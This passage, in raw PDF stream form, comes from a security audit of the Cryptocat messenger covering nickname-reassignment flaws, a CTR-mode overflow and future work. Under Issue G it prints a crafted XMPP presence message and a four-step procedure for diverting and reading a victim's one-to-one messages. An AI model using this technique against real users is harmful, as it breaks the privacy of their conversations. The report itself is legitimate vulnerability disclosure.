BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (Distinguish nicknames of users that have completed ) Tj /F3 10 Tf (SMP ) Tj /F1 10 Tf (in the current pairwise session.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 93.02362 cm
Q
endstream
endobj
% 'R190': class PDFStream
190 0 obj
% page stream
<< /Length 3137 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 729.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 21 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 26 Tm .706651 Tw 12 TL /F1 10 Tf 0 0 0 rg (Try to reduce the inconvenience of performing ) Tj /F3 10 Tf (SMP) Tj /F1 10 Tf (. For example, in principle it should be possible) Tj T* 0 Tw .348735 Tw (to achieve mutual authentication with a single run of ) Tj /F3 10 Tf (SMP) Tj /F1 10 Tf (. \(A complicating factor is that the initiating) Tj T* 0 Tw (user is able to choose the question, which may give an attacker an advantage.\)) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 723.0236 cm
Q
q
1 0 0 1 62.69291 687.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 21 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 26 Tm /F1 10 Tf 12 TL 1.628443 Tw (Consider changing the identification model to give clients more persistent keys. This would allow) Tj T* 0 Tw .132209 Tw (implementing the option for a user to "pin" a nickname to a given public key. For privacy reasons this) Tj T* 0 Tw (would need to be an explicit user action, and it would need to be possible to delete pinnings.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 681.0236 cm
Q
q
1 0 0 1 62.69291 633.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 33 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 38 Tm 1.817984 Tw 12 TL /F1 10 Tf 0 0 0 rg (Consider assigning random nicknames every time on join. This is done by Google to manage a) Tj T* 0 Tw 1.46816 Tw (similar identification issue \227 unauthenticated users connecting to a shared resource \() Tj 0 0 .501961 rg (anonymous) Tj T* 0 Tw 1.099984 Tw (animals in Google Drive) Tj 0 0 0 rg (\). This might fit in well with ) Tj /F3 10 Tf (Cryptocat) Tj /F1 10 Tf ('s branding; ) Tj /F3 10 Tf (users could be assigned) Tj T* 0 Tw (cute cat names and icons) Tj /F1 10 Tf (!) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 627.0236 cm
Q
q
1 0 0 1 62.69291 591.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 21 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 26 Tm /F1 10 Tf 12 TL 1.98784 Tw (Consider preventing the same nickname from being reused with a different public key for some) Tj T* 0 Tw .373318 Tw (timeout period. \(This would occasionally cause false positives, e.g. if a user reloads Cryptocat and it) Tj T* 0 Tw (generates a new key pair, they would have to pick a new nickname temporarily.\)) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 591.0236 cm
Q
q
1 0 0 1 62.69291 561.0236 cm
q
0 0 0 rg
BT 1 0 0 1 0 14 Tm /F1 10 Tf 12 TL .08311 Tw (We also suggest performing a user study to investigate the assumptions that users have about the current) Tj T* 0 Tw (interface and any intended changes.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 561.0236 cm
Q
endstream
endobj
% 'R191': class PDFStream
191 0 obj
% page stream
<< /Length 2899 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 747.0236 cm
q
BT 1 0 0 1 0 3 Tm 18 TL /F2 15 Tf 0 0 0 rg (Issue F. Nicknames Can Be Invisibly Reassigned) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 729.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F2 10 Tf 0 0 0 rg (Reported: ) Tj /F1 10 Tf (2014-01-26) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 675.0236 cm
q
BT 1 0 0 1 0 38 Tm .857608 Tw 12 TL /F2 10 Tf 0 0 0 rg (Synopsis: ) Tj /F1 10 Tf (A user may see no sign at all of an Issue E attack: in the window for one-to-one chat with a) Tj T* 0 Tw .712619 Tw (specific buddy, there is no indication when a buddy has logged out. Therefore, if a user is looking at the) Tj T* 0 Tw .382209 Tw (one-to-one chat, there is no way for them to know that the session for which ) Tj /F3 10 Tf (SMP ) Tj /F1 10 Tf (succeeded has ended.) Tj T* 0 Tw (In fact, an attacker may be able to force it to end.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 633.0236 cm
q
0 0 0 rg
BT 1 0 0 1 0 26 Tm /F1 10 Tf 12 TL 6.346136 Tw (A suspicious and diligent user could discover the reassignment by switching back to the) Tj T* 0 Tw .298314 Tw (main-conversation window and scanning the conversational transcript for the relevant notifications of their) Tj T* 0 Tw (buddy parting and joining, potentially buried among chitchat and other events.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 603.0236 cm
q
0 0 0 rg
BT 1 0 0 1 0 14 Tm /F1 10 Tf 12 TL .567356 Tw (There is potentially also an audio notification when any buddy joins or leaves, but this is not specific to a) Tj T* 0 Tw (particular buddy, and may be switched off or otherwise not audible.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 573.0236 cm
q
BT 1 0 0 1 0 14 Tm .099269 Tw 12 TL /F1 10 Tf 0 0 0 rg (This vulnerability could also potentially allow an attacker to get away with performing a Man-In-The-Middle) Tj T* 0 Tw (attack that is interrupted just during an ) Tj /F3 10 Tf (SMP ) Tj /F1 10 Tf (protocol run, in order to allow ) Tj /F3 10 Tf (SMP ) Tj /F1 10 Tf (to succeed.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 555.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F2 10 Tf 0 0 0 rg (Verification: ) Tj /F1 10 Tf (Observations of the ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (user interface, confirmed by source code inspection.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 525.0236 cm
q
BT 1 0 0 1 0 14 Tm 1.601395 Tw 12 TL /F2 10 Tf 0 0 0 rg (Implementation Analysis: ) Tj /F1 10 Tf (In ) Tj /F4 10 Tf (cryptocat.js) Tj /F1 10 Tf (, ) Tj /F4 10 Tf (buddyNotification\(\) ) Tj /F1 10 Tf (tests for 'main-Conversation') Tj T* 0 Tw (and shows the change of status only in that case.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 495.0236 cm
q
BT 1 0 0 1 0 14 Tm .327485 Tw 12 TL /F2 10 Tf 0 0 0 rg (Suggested Remediation: ) Tj /F1 10 Tf (Show the status changes as they occur, and also when the user returns to the) Tj T* 0 Tw (main conversation.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 495.0236 cm
Q
endstream
endobj
% 'R192': class PDFStream
192 0 obj
% page stream
<< /Length 7380 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 747.0236 cm
q
BT 1 0 0 1 0 3 Tm 18 TL /F2 15 Tf 0 0 0 rg (Issue G. Capture of Sent Messages by Nickname Change) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 729.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F2 10 Tf 0 0 0 rg (Reported: ) Tj /F1 10 Tf (2014-01-26) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 687.0236 cm
q
BT 1 0 0 1 0 26 Tm .082485 Tw 12 TL /F2 10 Tf 0 0 0 rg (Synopsis: ) Tj /F1 10 Tf (An attacker is able to break the confidentiality of a one-to-one chat, by diverting the destination) Tj T* 0 Tw 2.201235 Tw (of outgoing chat messages and replacing the key used to encrypt them. The attack involves use of) Tj T* 0 Tw (nickname-change ) Tj /F3 10 Tf (XMPP ) Tj /F1 10 Tf (messages, which are not sent by ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (but are acted on when received.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 633.0236 cm
q
BT 1 0 0 1 0 38 Tm .962927 Tw 12 TL /F2 10 Tf 0 0 0 rg (Impact: ) Tj /F1 10 Tf (After the diversion, the attacker receives and is able to decrypt messages sent by the victim in) Tj T* 0 Tw 1.201318 Tw (the chat. The original recipient\(s\) do not receive these messages. The sender\(s\) see no indication that) Tj T* 0 Tw .918735 Tw (their sent messages have been diverted; however, they will not receive any further messages or files in) Tj T* 0 Tw (that chat from the original buddy or from the attacker.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 567.0236 cm
q
0 0 0 rg
BT 1 0 0 1 0 50 Tm /F1 10 Tf 12 TL .499985 Tw (For example, suppose Mallory is the attacker and is targetting a one-to-one chat between Alice and Bob.) Tj T* 0 Tw 2.412093 Tw (Mallory first sets up a chat with Alice \(this need only last a short time\), and then sends a specific) Tj T* 0 Tw .465318 Tw (nickname-change message to Alice's client. After that point, Alice's messages sent to Bob will instead go) Tj T* 0 Tw .350651 Tw (to Mallory, encrypted using the keys established between Alice and Mallory \(and so readable by Mallory\).) Tj T* 0 Tw (Alice will receive no further messages in that chat.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 525.0236 cm
q
0 0 0 rg
BT 1 0 0 1 0 26 Tm /F1 10 Tf 12 TL 1.24936 Tw (The attack can optionally also be performed in the other direction, causing Bob's messages to Alice to) Tj T* 0 Tw .158935 Tw (instead be sent to and readable by Mallory. In that case Bob will receive no further messages or files from) Tj T* 0 Tw (Alice in the chat.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 495.0236 cm
q
BT 1 0 0 1 0 14 Tm .800514 Tw 12 TL /F1 10 Tf 0 0 0 rg (This attack cannot be used to gain the contents of files. After this attack, files will ) Tj /F3 10 Tf (not ) Tj /F1 10 Tf (be sent encrypted) Tj T* 0 Tw (under Mallory's key. Instead files will not be sent at all after this attack.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 441.0236 cm
q
BT 1 0 0 1 0 38 Tm .495697 Tw 12 TL /F2 10 Tf 0 0 0 rg (Feasibility: ) Tj /F1 10 Tf (This attack requires only sending the victim \(Alice\) an ) Tj /F3 10 Tf (XMPP ) Tj /F1 10 Tf (presence message indicating a) Tj T* 0 Tw .41784 Tw (nickname change. An ) Tj /F3 10 Tf (XMPP-BOSH ) Tj /F1 10 Tf (server \(operating over ) Tj /F3 10 Tf (TLS ) Tj /F1 10 Tf (or not\) will typically relay such messages) Tj T* 0 Tw .889269 Tw (without modification, and we have verified that the production ) Tj /F3 10 Tf (crypto.cat ) Tj /F1 10 Tf (service does so. Therefore, the) Tj T* 0 Tw (attack can be performed by any client that knows the conversation name.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 411.0236 cm
q
BT 1 0 0 1 0 14 Tm .852126 Tw 12 TL /F2 10 Tf 0 0 0 rg (Verification: ) Tj /F1 10 Tf (This issue was verified by source code analysis and by experimentation. See ) Tj 0 0 .501961 rg (Appendix C:) Tj T* 0 Tw (Exploit Code for Issue G) Tj 0 0 0 rg (.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 369.0236 cm
q
BT 1 0 0 1 0 26 Tm 1.965814 Tw 12 TL /F2 10 Tf 0 0 0 rg (Implementation Analysis:) Tj /F1 10 Tf ( ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (clients do not support changing their nickname once logged in.) Tj T* 0 Tw .798443 Tw (However, the ) Tj /F3 10 Tf (XMPP ) Tj /F1 10 Tf (protocol does support this functionality. A "nickname-change message" is a special) Tj T* 0 Tw (case of an ) Tj /F3 10 Tf (XMPP ) Tj /F1 10 Tf (presence message using status code 303, such as:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 291.2833 cm
q
q
.952737 0 0 .952737 0 0 cm
q
1 0 0 1 6.6 6.927412 cm
q
.662745 .662745 .662745 RG
.5 w
.960784 .960784 .862745 rg
n -6 -6 492 72 re B*
Q
q
BT 1 0 0 1 0 50 Tm 12 TL /F4 10 Tf 0 0 0 rg (<) Tj (presence xmlns="jabber:client" from="ccaudittest@conference.crypto.cat/mallory") Tj T* ( to="2716478293139059658259042@crypto.cat/854194958139059658455998") Tj (>) Tj T* ( ) Tj (<) Tj (status code="303") Tj (>) Tj (<) Tj (/status) Tj (>) Tj T* ( ) Tj (<) Tj (item nick="bob") Tj (>) Tj (<) Tj (/item) Tj (>) Tj T* (<) Tj (/presence) Tj (>) Tj T* ET
Q
Q
Q
Q
Q
q
1 0 0 1 62.69291 187.2833 cm
q
BT 1 0 0 1 0 86 Tm 1.486412 Tw 12 TL /F1 10 Tf 0 0 0 rg (The ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (code has a ) Tj /F4 10 Tf (changeNickname ) Tj /F1 10 Tf (function that is intended to respond to such messages,) Tj T* 0 Tw .708735 Tw (indicating changes of nickname by other ) Tj /F3 10 Tf (XMPP ) Tj /F1 10 Tf (clients. This function has an exploitable flaw: it does not) Tj T* 0 Tw .978935 Tw (verify that the new nickname is not already being used. So if Mallory starts a chat with the victim Alice,) Tj T* 0 Tw 1.912651 Tw (and then changes his nickname in that chat to Bob, then the Alice) Tj /F6 10 Tf 12 TL (\253) Tj /F1 10 Tf 12 TL (Mallory connection replaces the) Tj T* 0 Tw 1.397674 Tw (Alice) Tj /F6 10 Tf 12 TL (\253) Tj /F1 10 Tf 12 TL (Bob connection, overwriting its keys. However, due to an implementation detail of the message) Tj T* 0 Tw 3.51998 Tw (handling code explained below, the callbacks for the replaced connection still reference Mallory's) Tj T* 0 Tw 1.764269 Tw (nickname. Therefore, further messages sent by Alice to Bob are actually \(conveniently for the attack\)) Tj T* 0 Tw (relayed to Mallory.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 85.28329 cm
q
BT 1 0 0 1 0 86 Tm 1.928651 Tw 12 TL /F1 10 Tf 0 0 0 rg (The reason why the message callbacks still reference Mallory's nickname is that they close over the) Tj T* 0 Tw .063059 Tw (original nickname when created, and ) Tj /F4 10 Tf (changeNickname ) Tj /F1 10 Tf (does not affect these closures. For example, the) Tj T* 0 Tw 1.810976 Tw (handler function created by ) Tj /F4 10 Tf (otrIncomingCallback\(buddy\) ) Tj /F1 10 Tf (at line 130 of ) Tj /F4 10 Tf (cryptocat.js ) Tj /F1 10 Tf (closes) Tj T* 0 Tw 2.769984 Tw (over the ) Tj /F4 10 Tf (buddy ) Tj /F1 10 Tf (argument in its lexical scope, which is always the original nickname; similarly for) Tj T* 0 Tw .622126 Tw /F4 10 Tf (otrOutgoingCallback\(buddy\) ) Tj /F1 10 Tf (at line 142. In the case of the outgoing callback, this helps the attack) Tj T* 0 Tw .732927 Tw (by routing messages to Mallory. In the case of the incoming callback, it hinders the attack by preventing) Tj T* 0 Tw 1.795318 Tw (Mallory from sending messages to Alice that would be interpreted as coming from Bob; instead such) Tj T* 0 Tw (messages would be added to the Alice) Tj /F6 10 Tf 12 TL (\253) Tj /F1 10 Tf 12 TL (Mallory chat, which no longer exists.) Tj T* ET
Q
Q
endstream
endobj
% 'R193': class PDFStream
193 0 obj
% page stream
<< /Length 3857 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 729.0236 cm
q
BT 1 0 0 1 0 26 Tm 1.771654 Tw 12 TL /F1 10 Tf 0 0 0 rg (The bug of closure over the original nickname has other effects in the UI, leading us to suspect that) Tj T* 0 Tw 1.082126 Tw /F4 10 Tf (changeNickname ) Tj /F1 10 Tf (has never been tested. We have verified that the following procedure is sufficient to) Tj T* 0 Tw (work around these effects to reproduce the attack:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 723.0236 cm
Q
q
1 0 0 1 62.69291 723.0236 cm
Q
q
1 0 0 1 62.69291 711.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (1.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL (Mallory starts a chat with Alice as normal.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 705.0236 cm
Q
q
1 0 0 1 62.69291 633.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 57 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (2.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 62 Tm /F1 10 Tf 12 TL .79528 Tw (Mallory shows the "Display Info" window for Alice, or simulates the effects of doing so. This step is) Tj T* 0 Tw .185318 Tw (needed to avoid an incidental bug that is triggered when the nickname change occurs before Mallory) Tj T* 0 Tw .069431 Tw (has sent any message in the Alice) Tj /F6 10 Tf 12 TL (\253) Tj /F1 10 Tf 12 TL (Mallory chat. It also has the effect of causing the buddy entry for) Tj T* 0 Tw .034983 Tw (Mallory to disappear "cleanly" in Alice's user interface when the nickname change occurs \227 whereas) Tj T* 0 Tw .87186 Tw (if Mallory sent a message, Alice would receive a flashing notification in her buddy entry for Mallory) Tj T* 0 Tw (that would not disappear immediately.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 627.0236 cm
Q
q
1 0 0 1 62.69291 555.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 57 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (3.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 62 Tm 1.788555 Tw 12 TL /F1 10 Tf 0 0 0 rg (Mallory sends a nickname-change message to the server using the code in ) Tj 0 0 .501961 rg (Appendix C: Exploit) Tj T* 0 Tw .973672 Tw (Code for Issue G) Tj 0 0 0 rg (. The ) Tj /F4 10 Tf (to ) Tj /F1 10 Tf (field of this message is given by his own ) Tj /F3 10 Tf (JID ) Tj /F1 10 Tf (ending in ) Tj /F4 10 Tf (/mallory) Tj /F1 10 Tf (, the) Tj T* 0 Tw 4.536647 Tw (status code is ) Tj /F4 10 Tf (<) Tj (status) Tj ( ) Tj (code="303"/) Tj (>) Tj /F1 10 Tf (, and the new nickname ) Tj /F4 10 Tf (bob ) Tj /F1 10 Tf (is specified using) Tj T* 0 Tw 1.615697 Tw /F4 10 Tf (<) Tj (item) Tj ( ) Tj (nick="bob"/) Tj (>) Tj /F1 10 Tf (. Note that Mallory appears to be sending a message to himself, but the) Tj T* 0 Tw .944692 Tw /F4 10 Tf (to= ) Tj /F1 10 Tf (and ) Tj /F4 10 Tf (from= ) Tj /F1 10 Tf (fields get swapped \(we do not know why\), and so Alice receives a message with) Tj T* 0 Tw /F4 10 Tf (from= ) Tj /F1 10 Tf (field ending in ) Tj /F4 10 Tf (/mallory ) Tj /F1 10 Tf (as required.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 549.0236 cm
Q
q
1 0 0 1 62.69291 537.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (4.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL (Mallory now receives Alice's messages to Bob exactly as though they had been sent to him.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 537.0236 cm
Q
q
1 0 0 1 62.69291 519.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F2 10 Tf 0 0 0 rg (Suggested Remediation: ) Tj /F1 10 Tf (Remove the ) Tj /F4 10 Tf (changeNickname ) Tj /F1 10 Tf (handler.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 519.0236 cm
Q
endstream
endobj
% 'R194': class PDFStream
194 0 obj
% page stream
<< /Length 1407 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 747.0236 cm
q
BT 1 0 0 1 0 3 Tm 18 TL /F2 15 Tf 0 0 0 rg (Issues Without Known Exploits) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 705.0236 cm
q
BT 1 0 0 1 0 26 Tm .953735 Tw 12 TL /F1 10 Tf 0 0 0 rg (This section describes issues for which we have not discovered an exploit in the current ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (use.) Tj T* 0 Tw 2.11152 Tw (These issues could become exploitable when other code changes, so they represent some potential) Tj T* 0 Tw (future security risk.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 678.0236 cm
q
BT 1 0 0 1 0 2.5 Tm 15 TL /F5 12.5 Tf 0 0 0 rg (CTR-mode Overflow) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 624.0236 cm
q
BT 1 0 0 1 0 38 Tm .156412 Tw 12 TL /F1 10 Tf 0 0 0 rg (The CTR mode implementation in ) Tj /F4 10 Tf (mode-ctr.js ) Tj /F1 10 Tf (fails to carry when the increment of the least-significant) Tj T* 0 Tw 1.508555 Tw (word overflows. This means a re-used counter and confidentiality leak for messages longer than 2^32) Tj T* 0 Tw .621751 Tw (blocks, which is 2^36 bytes for ) Tj /F3 10 Tf (AES) Tj /F1 10 Tf (, with its 16-byte blocks. This is not exploitable in ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (because) Tj T* 0 Tw (message lengths are always shorter than this. \(The file transfer chunk size is \(2^16 - 1025\) bytes.\)) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 624.0236 cm
Q
endstream
endobj
% 'R195': class PDFStream
195 0 obj
% page stream
<< /Length 6570 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 744.0236 cm
q
BT 1 0 0 1 0 3.5 Tm 21 TL /F2 17.5 Tf 0 0 0 rg (Future Work) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 714.0236 cm
q
BT 1 0 0 1 0 3 Tm 18 TL /F2 15 Tf 0 0 0 rg (Protocol Analysis, Design, and Implementation) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 672.0236 cm
q
BT 1 0 0 1 0 26 Tm 3.311412 Tw 12 TL /F3 10 Tf 0 0 0 rg (Cryptocat ) Tj /F1 10 Tf (is pushing the boundaries of ) Tj /F3 10 Tf (usable, secure, and multiparty ) Tj /F1 10 Tf (messaging. By dint of this) Tj T* 0 Tw 2.043555 Tw (innovative niche, it would benefit as much or more from security-aware protocol analysis and design) Tj T* 0 Tw (collaboration as it does from code auditing and penetration testing.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 645.0236 cm
q
BT 1 0 0 1 0 2.5 Tm 15 TL /F5 12.5 Tf 0 0 0 rg (Multiparty Chat) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 603.0236 cm
q
BT 1 0 0 1 0 26 Tm 1.904651 Tw 12 TL /F1 10 Tf 0 0 0 rg (A key area of unresolved issues is the group-chat protocol design and related security features. The) Tj T* 0 Tw 2.71229 Tw (current ) Tj /F3 10 Tf (multiparty chat protocol ) Tj /F1 10 Tf (is an in-house design and would benefit from protocol specification) Tj T* 0 Tw (refinement, design analysis, and potential design changes.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 561.0236 cm
q
0 0 0 rg
BT 1 0 0 1 0 26 Tm /F1 10 Tf 12 TL 1.089269 Tw (In terms of product engineering, our intuition is that replacing this protocol with a community-developed) Tj T* 0 Tw .432485 Tw (standard will lead to better security in less time. This of course depends on such a community-developed) Tj T* 0 Tw (standard emerging.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 471.0236 cm
q
BT 1 0 0 1 0 74 Tm 2.032485 Tw 12 TL /F1 10 Tf 0 0 0 rg (Unless a community standard emerges very quickly, it is still valuable to improve the security of the) Tj T* 0 Tw .448443 Tw /F3 10 Tf (multiparty chat protocol) Tj /F1 10 Tf (, and we recommend this general roadmap: First, review the existing specification) Tj T* 0 Tw 1.643314 Tw (to empirically determine which security properties it provides, noting ambiguity when present. Second,) Tj T* 0 Tw .905984 Tw (rewrite the specification to follow from those properties \(in contrast to describing the procedures or data) Tj T* 0 Tw .719984 Tw (formats\). Third, separate out the procedures and data formats from the abstract protocol and its security) Tj T* 0 Tw 2.761235 Tw (goals. At this point solicit more scrutiny from the community. This work can also contribute to the) Tj T* 0 Tw (development of the community standard alluded to above.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 444.0236 cm
q
BT 1 0 0 1 0 2.5 Tm 15 TL /F5 12.5 Tf 0 0 0 rg (File Transfer) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 390.0236 cm
q
BT 1 0 0 1 0 38 Tm 3.096136 Tw 12 TL /F1 10 Tf 0 0 0 rg (Like the ) Tj /F3 10 Tf (multiparty chat protocol) Tj /F1 10 Tf (, the file-transfer features of ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (are developed in-house as) Tj T* 0 Tw .241163 Tw (integrated extensions to both ) Tj /F3 10 Tf (XMPP ) Tj /F1 10 Tf (and ) Tj /F3 10 Tf (OTR) Tj /F1 10 Tf (. We suggest that file transfer not be reenabled until a more) Tj T* 0 Tw .609318 Tw (secure protocol is available; our suggestions for such a protocol are described in ) Tj 0 0 .501961 rg (Remediation for Issues) Tj T* 0 Tw (A and B) Tj 0 0 0 rg (.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 363.0236 cm
q
BT 1 0 0 1 0 2.5 Tm 15 TL /F5 12.5 Tf 0 0 0 rg (OTR & Cryptographic Libraries) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 321.0236 cm
q
BT 1 0 0 1 0 26 Tm 1.239318 Tw 12 TL /F1 10 Tf 0 0 0 rg (This audit did not focus on the ) Tj /F3 10 Tf (OTR ) Tj /F1 10 Tf (implementation, nor the cryptographic libraries used by ) Tj /F3 10 Tf (Cryptocat) Tj /F1 10 Tf (.) Tj T* 0 Tw 1.514597 Tw (While we examined these dependencies as necessary for our investigations, these would benefit from) Tj T* 0 Tw (focused, targeted audits.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 294.0236 cm
q
BT 1 0 0 1 0 2.5 Tm 15 TL /F5 12.5 Tf 0 0 0 rg (JavaScript Cryptography) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 252.0236 cm
q
BT 1 0 0 1 0 26 Tm 2.336647 Tw 12 TL /F1 10 Tf 0 0 0 rg (There are open unresolved issues with respect to ) Tj /F3 10 Tf (JavaScript) Tj /F1 10 Tf (-based security applications. These are) Tj T* 0 Tw .536651 Tw (probably more relevant for security research rather than security audit work, but sometimes the lines can) Tj T* 0 Tw (be blurry.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 222.0236 cm
q
BT 1 0 0 1 0 14 Tm 2.121412 Tw 12 TL /F1 10 Tf 0 0 0 rg (Two areas which concern us are delivery and verification of the ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (add-on, and side-channel) Tj T* 0 Tw (analysis.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 192.0236 cm
q
BT 1 0 0 1 0 3 Tm 18 TL /F2 15 Tf 0 0 0 rg (Open Questions & Concerns) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 180.0236 cm
Q
q
1 0 0 1 62.69291 180.0236 cm
Q
q
1 0 0 1 62.69291 156.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 14 Tm /F1 10 Tf 12 TL .225366 Tw (Conversations with guessable room names can be "burst-in-on". Does the documentation say to use) Tj T* 0 Tw (unguessable room names? \(Note that room names are always known to the server.\)) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 150.0236 cm
Q
q
1 0 0 1 62.69291 90.02362 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 45 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
